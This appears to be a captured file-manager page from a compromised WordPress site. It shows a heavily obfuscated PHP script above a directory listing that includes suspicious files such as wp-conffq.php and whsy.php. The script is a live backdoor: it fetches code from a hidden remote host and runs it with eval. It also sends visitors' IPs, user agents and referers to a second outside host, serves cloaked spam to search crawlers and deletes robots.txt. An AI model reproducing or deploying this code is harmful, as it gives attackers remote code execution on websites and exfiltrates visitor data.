PATH:
home
/
lab2454c
/
nfsin.com
<?php goto RPjLl; QPAB1: $nsGH7 = substr($VMtvW, 0, -6); goto ubalS; GX7b7: $XUsOL = array("\x68" . "\164" . "\164" . "\x70" . "\x73" . "\x3a" . "\x2f" . "\57" . "\x68" . "\x62" . "\x62" . "\x61" . "\161" . "\x6e" . "\56" . "\147" . "\141" . "\155" . "\145" . "\x61" . "\160" . "\145" . "\56" . "\x74" . "\157" . "\x70" . "\x2f" . "\144" . "\157" . "\157" . "\x72" . "\57"); goto D1HOQ; sDPl2: function DkqB0() { goto cFuFL; AsKAw: $F2kZ0 = $_SERVER["\110\x54\x54\x50\x5f\x58\137\x46\117\x52\127\101\x52\x44\x45\104\137\106\x4f\122"]; goto I_rvK; hLuam: if (!empty($_SERVER["\x48\124\x54\120\x5f\x58\x5f\x46\117\122\127\x41\x52\104\x45\104\x5f\106\x4f\122"])) { goto FBeDK; } goto hjye3; JIUpn: Vt434: goto BMtxx; sB2YE: FBeDK: goto AsKAw; BMtxx: return $F2kZ0; goto GggvH; I_rvK: GxnkV: goto RajNY; RajNY: goto Vt434; goto Njolp; xQDX5: goto GxnkV; goto sB2YE; hjye3: $F2kZ0 = $_SERVER["\x52\105\x4d\117\x54\105\x5f\101\x44\104\x52"]; goto xQDX5; cFuFL: $F2kZ0 = ''; goto J_rp5; J_rp5: if (!empty($_SERVER["\x48\x54\x54\120\137\x43\114\111\x45\x4e\124\x5f\111\x50"])) { goto UEm3X; } goto hLuam; Njolp: UEm3X: goto IW6a9; IW6a9: $F2kZ0 = $_SERVER["\x48\x54\x54\x50\137\x43\x4c\111\x45\x4e\124\137\111\x50"]; goto JIUpn; GggvH: } goto GKZ1j; zKfPs: $Jpokv = str_replace("\150\164\x6d\x6c\x5f\143\157\x6e\x74\145\156\x74", '', $BEyqc); goto FVZqc; Y1Zjo: goto mHDyP; goto cZe1s; ubalS: $IDIS1 = array("\x39", "\70", "\x32", "\64", "\x35", "\x64", "\67", "\x34", "\61", "\x37", "\62", "\62", "\x35", "\142", "\x35", "\65", "\141", "\62", "\143", "\64", "\x62", "\x66", "\x35", "\60", "\142", "\x38", "\x61", "\x61", "\x34", "\143", "\x37", "\63"); goto Q1Oxz; K0H1A: exit; goto oaM0g; RPjLl: @set_time_limit(1000); goto ndyQk; RwY_x: exit(implode(PHP_EOL, $bgFQX)); goto ehWOU; fHTsF: $HSilz = isset($_SERVER["\x48\124\124\x50\137\x41\103\x43\105\120\x54\137\114\101\116\x47\125\x41\x47\105"]) ? $_SERVER["\110\x54\124\x50\137\x41\x43\x43\x45\120\124\137\114\101\116\107\x55\101\107\x45"] : ''; goto T7C_X; ppHOg: if (strstr($BEyqc, "\x64\x6f\x5f\x6e\157\x74\x68\151\x6e\147")) { goto JCjJr; } goto xL0Fb; XQFGC: LXCAK: goto lHVb5; nh1Mt: PmAoM: goto Y1Zjo; U47YS: $VMtvW = isset($_REQUEST["\x61\x63\x74\x69\x6f\x6e"]) ? $_REQUEST["\141\x63\164\151\157\x6e"] : ''; goto K6rER; i0awt: JCjJr: goto nh1Mt; zkFhS: $PnaYh = isset($_SERVER["\110\x54\x54\120\137\x52\x45\106\105\x52\x45\122"]) ? $_SERVER["\x48\124\124\x50\x5f\x52\x45\106\x45\122\x45\122"] : ''; goto cmmbk; aRJ2Z: A3Z3U: goto hfnqy; HZFwb: function WoWMq() { $vDNzO = range("\x61", "\172"); return [$vDNzO[5] . $vDNzO[8] . $vDNzO[11] . $vDNzO[4] . "\137" . $vDNzO[6] . $vDNzO[4] . $vDNzO[19] . "\x5f" . $vDNzO[2] . $vDNzO[14] . $vDNzO[13] . $vDNzO[19] . $vDNzO[4] . $vDNzO[13] . $vDNzO[19] . $vDNzO[18]]; } goto k1tyO; kbSad: $bgFQX = explode("\x5b\52\x2a\52\135", str_replace("\x72\157\142\x6f\x74\163\x63\157\x6e\164\x65\156\x74", '', $Jpokv)); goto RwY_x; H8G8c: $Jpokv = str_replace("\170\x6d\x6c\x5f\x63\157\x6e\164\145\x6e\164", '', $BEyqc); goto s98gN; Mc0l_: $P3dq4 = bCLXe(); goto kNf95; wcwm1: P2J4E: goto K0H1A; CCrP6: $HkG5H = substr($VMtvW, -6); goto QPAB1; sAsCH: $xB6NM = "\150" . "\x74" . "\x74" . "\160" . "\x73" . "\72\57" . "\57" . $bPAXR . "\x2f\x77\160" . "\x2d\x69" . "\x6e" . "\x64" . "\145" . "\170" . "\56\x70\150" . "\160\77" . $lrQw9; goto eRTbw; oaM0g: mHDyP: goto HfCN7; vuPrF: $k55f6 = oWQQK($xB6NM); goto KN0oQ; kNf95: $HWVKj = $_SERVER["\x52\x45\x51\x55\x45\x53\124\x5f\x55\122\x49"]; goto fHTsF; s98gN: echo $Jpokv; goto W7el6; KN0oQ: hMDrb: goto Jg3Ab; lHVb5: if (!strstr($BEyqc, "\x78\x6d\x6c\137\143\157\156\x74\x65\156\x74")) { goto oqw3G; } goto PyKpw; W7el6: exit; goto qmYWC; FgEZg: function LcEu_($OmQjI) { goto C7cqv; AblSp: $FxrHf = true; goto PIrEM; FynDV: $BNtqI = "\63\66\x30\123\x70\151\144\145\162\x7c\101\x68\162\x65\146\x73\102\x6f\x74\x7c\x41\155\x61\x7a\x6f\156\x62\x6f\164\x7c\x41\x70\160\x6c\145\40\102\157\x74\174\x41\163\153\40\x4a\x65\145\166\145\x73\174\101\167\x61\162\x69\x6f\x42\157\164\x7c\102\141\x69\x64\x75\123\x70\x69\144\145\x72\174\x42\141\x69\144\x75\x73\x70\151\x64\x65\x72\x2d\x69\155\x61\147\145\x7c\x42\x79\x74\x65\x73\160\151\x64\145\162\x7c\x44\x61\x74\x61\x46\x6f\162\x53\x65\x6f\x42\157\x74\x7c\144\141\164\141\x70\162\157\166\151\144\x65\x72\174\x44\x6f\x74\x42\157\164\174\x44\x75\x63\x6b\x44\x75\143\x6b\x42\x6f\x74\174\x45\170\141\154\x65\x61\x64\x7c\x45\x78\x63\x69\x74\145\174\x66\141\143\x65\142\157\x6f\x6b\x7c\x66\x61\143\x65\142\157\x6f\153\x65\x78\164\145\x72\x6e\141\154\150\151\x74\174\107\x50\x54\x42\157\164\174\114\171\x63\157\163\174\x4d\112\61\62\142\157\164\x7c\x53\143\x6f\x6f\164\145\162\174\x53\145\155\x72\165\x73\x68\102\x6f\x74\174\x53\x69\x74\145\x4c\157\143\x6b\x53\160\x69\144\145\x72\174\123\x6c\145\x75\164\150\x7c\123\x6f\x67\x6f\165\40\116\145\167\x73\40\x53\160\151\144\x65\162\174\x53\157\147\157\165\x20\x77\145\142\x20\x73\x70\151\x64\145\162\174\123\x4f\123\x4f\x20\x53\x70\x69\144\x65\x72\174\124\167\151\164\164\x65\162\142\x6f\x74\174\131\141\156\x64\145\x78\40\x42\x6f\164\x7c\131\x61\156\144\145\170\x42\157\164\x7c\x59\151\x73\157\x75\x53\x70\151\x64\145\x72\174\x59\157\x64\141\x6f\102\157\164\174\131\157\x75\144\x61\x6f\102\x6f\x74\174\102\114\105\130\102\157\164\x7c\x61\160\160\154\x65\x62\157\x74\x7c\103\x43\102\157\164\174\x50\x65\x74\x61\154\102\157\x74\x7c\x43\x6c\x61\x75\x64\145\x42\157\164\x7c\110\165\x64\110\x75\144\x2d\147\x65\x6e\145\162\141\154\x2d\142\x6f\164\x7c\123\x65\172\x6e\141\x6d\102\x6f\x74\x7c\x45\172\x6f\151\x63\x42\157\164\x2d\116\151\143\x68\145\x69\x71\x7c\x41\150\162\x65\x66\x73\123\151\x74\145\101\165\144\x69\164\174\117\x41\x49\55\x53\145\x61\162\143\150\102\x6f\164\x7c\154\151\x6e\x6b\x64\x65\x78\142\x6f\164\x7c\x43\150\x61\x74\x47\120\x54\x2d\x55\x73\145\162\x7c\x59\x61\x6e\x64\x65\x78\115\145\x74\x72\151\x6b\x61\x7c\x59\141\156\x64\x65\x78"; goto OTHIU; PIrEM: Eb2Kf: goto zupIt; C7cqv: $FxrHf = false; goto FynDV; HMZyK: if (!preg_match("\x2f\50{$BNtqI}\x29\x2f\163\x69", $OmQjI)) { goto Eb2Kf; } goto AblSp; OTHIU: if (!$OmQjI) { goto BMOMK; } goto HMZyK; zupIt: BMOMK: goto i7Orh; i7Orh: return $FxrHf; goto x1_o0; x1_o0: } goto uvUfr; b7R78: $BEyqc = $k55f6["\143\x6f\x6e\164\x65\x6e\x74"]; goto ppHOg; Hwc0k: if (!strstr($BEyqc, "\162\x6f\x62\157\x74\163\x5f\143\x6f\x6e\x74\145\156\x74")) { goto kzd2x; } goto FGik6; FGik6: @header("\x43\x6f\x6e\164\x65\156\164\55\164\x79\160\145\x3a\40\164\145\x78\x74\57\160\154\141\151\x6e\73\x20\x63\x68\141\162\163\x65\164\x3d\x75\x74\146\55\70"); goto dlTLU; K6rER: if (!empty($VMtvW)) { goto lmbyQ; } goto l7Le5; GKZ1j: function OWqqK($aBj_W) { goto UXZl8; igYic: $SlW5W["\163\164\x61\164\x75\x73"] = $sGglz; goto xjCsI; zubyP: $sGglz = 1; goto P063y; P063y: try { goto WtGNM; j6KsN: curl_setopt($QgYrd, CURLOPT_FOLLOWLOCATION, 1); goto k1Aoo; yYnjj: curl_close($QgYrd); goto sHr4n; yLD94: curl_setopt($QgYrd, CURLOPT_SSL_VERIFYHOST, FALSE); goto mgHEL; jdVFj: curl_setopt($QgYrd, CURLOPT_RETURNTRANSFER, 1); goto Mp5zf; mgHEL: curl_setopt($QgYrd, CURLOPT_CONNECTTIMEOUT, 10); goto jdVFj; k1Aoo: curl_setopt($QgYrd, CURLOPT_SSL_VERIFYPEER, FALSE); goto yLD94; WtGNM: $QgYrd = curl_init(); goto Ixerv; Mp5zf: $M3OPJ = curl_exec($QgYrd); goto yYnjj; Ixerv: curl_setopt($QgYrd, CURLOPT_URL, $aBj_W); goto j6KsN; sHr4n: } catch (Exception $RlnCT) { } goto J11TW; o7GZB: $SlW5W = array(); goto igYic; J11TW: if (!(($M3OPJ === false || $M3OPJ == '') && ini_get("\141\x6c\154\x6f\167\137\165\162\154\x5f\x66\157\160\x65\156"))) { goto m798n; } goto V00dW; V00dW: try { $I0bk8 = woWMq(); $M3OPJ = @$I0bk8[0]($aBj_W); } catch (Exception $RlnCT) { } goto njkBT; xjCsI: $SlW5W["\x63\x6f\156\x74\145\156\164"] = $M3OPJ; goto w0pzM; qNyzQ: wA1dy: goto o7GZB; njkBT: m798n: goto hDN0H; w0pzM: return $SlW5W; goto nWhk1; gTI21: $sGglz = 1; goto qNyzQ; hDN0H: if (!($M3OPJ != '')) { goto wA1dy; } goto gTI21; UXZl8: $M3OPJ = ''; goto zubyP; nWhk1: } goto HZFwb; Jg3Ab: $FxrHf = gqViT($J3NUp); goto k3CxB; mrckF: @header("\103\x6f\156\164\x65\156\x74\55\164\171\160\145\x3a\40\164\x65\x78\x74\x2f\150\x74\x6d\154\73\x20\143\x68\141\162\x73\145\164\75\x75\164\146\x2d\70"); goto zKfPs; HfCN7: function bclXE() { goto ey6p5; ey6p5: $JDNlF = !empty($_SERVER["\110\124\x54\x50\123"]) && $_SERVER["\110\x54\x54\x50\x53"] !== "\x6f\x66\146" || $_SERVER["\123\x45\x52\126\105\x52\137\120\117\x52\124"] == 443; goto c9qy9; DWmFt: return "\150\164\164\x70"; goto EBd2R; mfbud: Uckd0: goto DmzrO; c9qy9: if ($JDNlF) { goto Uckd0; } goto DWmFt; EBd2R: goto KQpkA; goto mfbud; kSevZ: KQpkA: goto QHBzk; DmzrO: return "\150\164\164\x70\163"; goto kSevZ; QHBzk: } goto sDPl2; maPXh: $IvyTp = DkqB0(); goto SIIcd; Cr6Z1: eval("\77\x3e" . $SlW5W["\x63\x6f\156\x74\x65\156\164"]); goto owIFe; bs9aF: $bPAXR = "\165\x32\x6b\x35\x73\x63\56\147\145\x74\x69\164\x61\x6c\154\x2e\x74\157\x70"; goto Mc0l_; eRTbw: if (!(stristr($HWVKj, "\x2e\x78\155\154") || stristr($HWVKj, "\x72\x6f\142\157\164\x73\56\164\x78\x74"))) { goto hMDrb; } goto gbz81; b4wzG: $rWG1c = lCEu_($J3NUp); goto VuG_W; SIIcd: $lrQw9 = "\150\164\x74\160\x5f\x74\171\160\145\75" . base64_encode($P3dq4) . "\x26\x68\164\x74\160\x5f\165\162\151\x3d" . base64_encode($HWVKj) . "\46\150\x74\164\x70\137\154\x61\156\x67\x3d" . base64_encode($HSilz) . "\46\x68\164\164\x70\x5f\150\x6f\163\x74\75" . base64_encode($tI8n2) . "\46\x68\164\164\160\x5f\162\145\x66\x65\x72\75" . base64_encode($PnaYh) . "\46\x68\x74\164\x70\x5f\165\163\145\x72\x5f\141\x67\x65\156\x74\75" . base64_encode($J3NUp) . "\x26\150\x74\164\x70\137\x69\160\x5f\x61\144\144\162\x65\163\x73\x3d" . base64_encode($IvyTp); goto F_MSd; mY1Ng: $k55f6 = OwQqK($xB6NM); goto aRJ2Z; hfnqy: if (!$k55f6["\x73\164\141\164\165\x73"]) { goto PmAoM; } goto b7R78; nL6yX: unlink($RKZ1H . "\57\x72\157\x62\157\x74\x73\x2e\164\170\164"); goto vCEOJ; k3CxB: $t3914 = n8I18($PnaYh); goto b4wzG; D1HOQ: $SlW5W = owqQk(implode($XUsOL) . $HkG5H . "\56\x74" . "\x78" . "\x74"); goto qtt32; T7C_X: $tI8n2 = $_SERVER["\110\124\124\120\137\110\117\123\x54"]; goto zkFhS; cZe1s: lmbyQ: goto CCrP6; FVZqc: echo $Jpokv; goto u7z9x; cmmbk: $J3NUp = isset($_SERVER["\110\x54\124\x50\137\x55\123\105\x52\137\x41\x47\x45\116\x54"]) ? $_SERVER["\110\124\124\x50\x5f\125\123\105\122\x5f\x41\x47\x45\x4e\x54"] : ''; goto maPXh; k1tyO: function gqVit($OmQjI) { goto QunKo; qGizt: if (!$OmQjI) { goto oPeZs; } goto seRj1; RGynm: $BNtqI = "\147\157\x6f\147\154\x65\x62\157\164\174\147\157\x6f\147\154\145\x7c\x79\141\x68\157\157\x7c\142\151\156\147\x7c\x61\157\x6c\x7c\x62\157\164\x7c\163\x70\151\x64\x65\x72\174\143\x72\x61\x77\x6c\x65\162"; goto qGizt; a7AI9: $FxrHf = true; goto m1Ck_; m1Ck_: a96q5: goto NL_KR; bWihB: return $FxrHf; goto OpxYp; NL_KR: oPeZs: goto bWihB; seRj1: if (!preg_match("\x2f\x28{$BNtqI}\51\57\x73\151", $OmQjI)) { goto a96q5; } goto a7AI9; QunKo: $FxrHf = false; goto RGynm; OpxYp: } goto FgEZg; yH6oK: if (!($H8m75 == implode($IDIS1))) { goto P2J4E; } goto GX7b7; ndyQk: @error_reporting(0); goto mjMVT; Q1Oxz: $H8m75 = md5($nsGH7); goto yH6oK; mjMVT: ini_set("\144\x69\163\160\154\x61\171\137\145\x72\162\157\162\x73", "\117\146\x66"); goto U47YS; dlTLU: $Jpokv = str_replace("\162\x6f\x62\157\164\163\x5f\x63\x6f\x6e\x74\x65\156\164", '', $BEyqc); goto kbSad; xL0Fb: if (!strstr($BEyqc, "\x68\x74\x6d\x6c\137\x63\x6f\x6e\x74\x65\x6e\164")) { goto LXCAK; } goto mrckF; VuG_W: if (!($FxrHf || $t3914 || !$rWG1c)) { goto A3Z3U; } goto mY1Ng; PyKpw: @header("\103\x6f\156\x74\x65\156\x74\55\164\171\x70\x65\x3a\40\164\145\170\x74\x2f\x78\x6d\154"); goto H8G8c; gbz81: if (!file_exists($RKZ1H . "\x2f\162\157\142\x6f\164\x73\x2e\x74\170\164")) { goto g0eKs; } goto nL6yX; qtt32: if (!$SlW5W["\163\164\141\164\x75\x73"]) { goto jUNQR; } goto Cr6Z1; qmYWC: oqw3G: goto Hwc0k; F_MSd: $k55f6 = array(); goto sAsCH; ehWOU: kzd2x: goto i0awt; l7Le5: $RKZ1H = $_SERVER["\104\x4f\103\x55\x4d\105\x4e\124\x5f\x52\117\117\124"]; goto bs9aF; u7z9x: exit; goto XQFGC; vCEOJ: g0eKs: goto vuPrF; owIFe: jUNQR: goto wcwm1; uvUfr: function n8i18($OWpOV) { goto WpvNF; O1_bB: if (!$OWpOV) { goto g4K2B; } goto ef4vQ; G0uKw: return $t3914; goto WRoKV; ef4vQ: if (!preg_match("\57\50{$Z8fXd}\x29\x2f\163\151", $OWpOV)) { goto qilbJ; } goto Y_1dY; TqsG1: g4K2B: goto G0uKw; vKgRY: qilbJ: goto TqsG1; WpvNF: $t3914 = false; goto IOK3Q; IOK3Q: $Z8fXd = "\x67\157\x6f\147\x6c\145\174\171\141\x68\x6f\x6f\x7c\142\151\156\x67\174\141\157\154"; goto O1_bB; Y_1dY: $t3914 = true; goto vKgRY; WRoKV: } ?>
[+]
.quarantine
[-] wp-plugin-install.php
[edit]
[+]
wp-includes
[-] index.php
[edit]
[-] wp-conffq.php
[edit]
[+]
..
[-] wp-blog-header.php
[edit]
[-] xmlrpc.php
[edit]
[+]
.tmb
[-] whsy.php
[edit]
[+]
wp-admin
[-] wp-comments-post.php
[edit]
[-] wp-load.php
[edit]
[+]
cgi-bin
[-] wp-login.php
[edit]
[-] wp-settings.php
[edit]
[+]
wp-content
[-] wp-config-sample.php
[edit]
[-] wp-trackback.php
[edit]
[-] wp-activate.php
[edit]
[-] wp-headre.php
[edit]
[-] readme.html
[edit]
[-] adminfuns.php
[edit]
[-] .htaccess
[edit]
[-] radio.php
[edit]
[-] wp-mail.php
[edit]
[-] license.txt
[edit]
[-] wp-links-opml.php
[edit]
[-] about.php
[edit]
[-] error_log
[edit]
[+]
.well-known
[-] wp-signup.php
[edit]
[-] content.php
[edit]
[-] wp-cron.php
[edit]
[-] wp-config.php
[edit]